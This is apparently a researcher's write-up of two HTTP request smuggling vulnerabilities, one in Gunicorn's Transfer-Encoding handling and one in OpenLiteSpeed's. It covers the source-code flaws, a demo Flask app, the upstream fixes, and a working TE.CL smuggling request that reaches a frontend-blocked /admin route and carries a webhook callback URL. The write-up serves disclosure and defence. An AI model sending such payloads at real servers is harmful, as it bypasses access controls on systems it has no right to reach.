tl;dr

  • CVE-2024-6827
  • CVE-2024-31617

Gunicorn


Introduction

Iam usually not a great fan of Request smuggling since its exploitability is laregly depeneded on the combinations of the FE BE servers.This all started Yadhu Krishna found a zeroday in gunicorn and decided to Host an internal challenge on the Same where he used combination of openlitespeed as a frondend proxy server and gunicorn as BE server.

Diving into Source Code

I initially started looking into Gunicorn’s source code, specifically where they handle the TE and CL headers, and my attention was immediately drawn to something at the very first stage.

1
2
3
4
5
elif name == "TRANSFER-ENCODING":
if value.lower() == "chunked":
if chunked:
raise InvalidHeader("TRANSFER-ENCODING", req=self)
chunked = True

When TRANSFER-ENCODING is passed as a header, Gunicorn strictly checks if the value exactly matches to chunked, which looks like a valid implementation to catch troublemakers like TRANSFER-ENCODING: chunkedxd. But what if Transfer-Encoding: chunked, gzip is passed? This is a legitimate header, and Gunicorn, as per its implementation, is not expecting stacked header values. This helped me to imagine a hypothetical situation where we pass valid headers of TE and CL where FE server consider TRANSFER-ENCODING since it has precedence over Content-Length while Gunicorn try to strictly compare the value and fail since we have stacked values in chunked, gzip and continue to proceed with Content-Length a TE CL request smuggling.

Proof of Concept

Consider the following dummy application where the /admin route is forbidden by the frontend server(OpenLiteSpeed)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from flask import Flask, render_template, request, redirect, Response
import requests

app = Flask(__name__)


@app.before_request
def handle_chunking():
request.environ["wsgi.input_terminated"] = True

@app.route("/admin")
def reached():
print("welcome Admin")
return "Welcome Admin"

@app.route("/", methods=["GET", "POST"])
def get():
return "HELLO NON-SMUGGLER"


if __name__ == "__main__":
app.run(port=8000)

Exploit

1
2
3
4
5
6
7
8
9
10
11
POST / HTTP/1.1
Host: 172.24.10.169
Content-Length: 6
Transfer-Encoding: chunked,gzip

73

GET /admin?callback1=https://webhook.site/717269ae-8b97-4866-9a24-17ccef265a30 HTTP/1.1
Host: 172.24.10.169

0

Video Poc


Fix

The value of TRANSFER-ENCODING is converted into an array using a comma as the delimiter and then compared.

1
2
3
4
5
6
7
8
9
10
11
for (name, value) in self.headers:
if name == "CONTENT-LENGTH":
if content_length is not None:
raise InvalidHeader("CONTENT-LENGTH", req=self)
content_length = value
elif name == "TRANSFER-ENCODING":
# T-E can be a list
# https://datatracker.ietf.org/doc/html/rfc9112#name-transfer-encoding
vals = [v.strip() for v in value.split(',')]
for val in vals:
if val.lower() == "chunked":



OpenLiteSpeed


Introduction

Since the frontend server used for the challenge was OpenLiteSpeed, I was trying out different requests and inspecting them to exploit Gunicorn. I encountered a common vulnerable implementation related to request smuggling.

Diving into Source Code

OpenLiteSpeed was comparing if the value of transfer-encoding starts with chunked. This would intercept an invalid header TRANSFER-ENCODING: chunkedxd as a valid TRANSFER-ENCODING, while the other server rejects it and falls back to Content-Length. Any BE server that integrates with this vulnerable version of OpenLiteSpeed can be easily exploited.

1
2
if (strncasecmp(pCur, "chunked", 7) == 0) 


POC


Fix

1
2
if (strncasecmp(pCur, "chunked", 7) == 0
&& m_commonHeaderLen[index] == 7)

External Links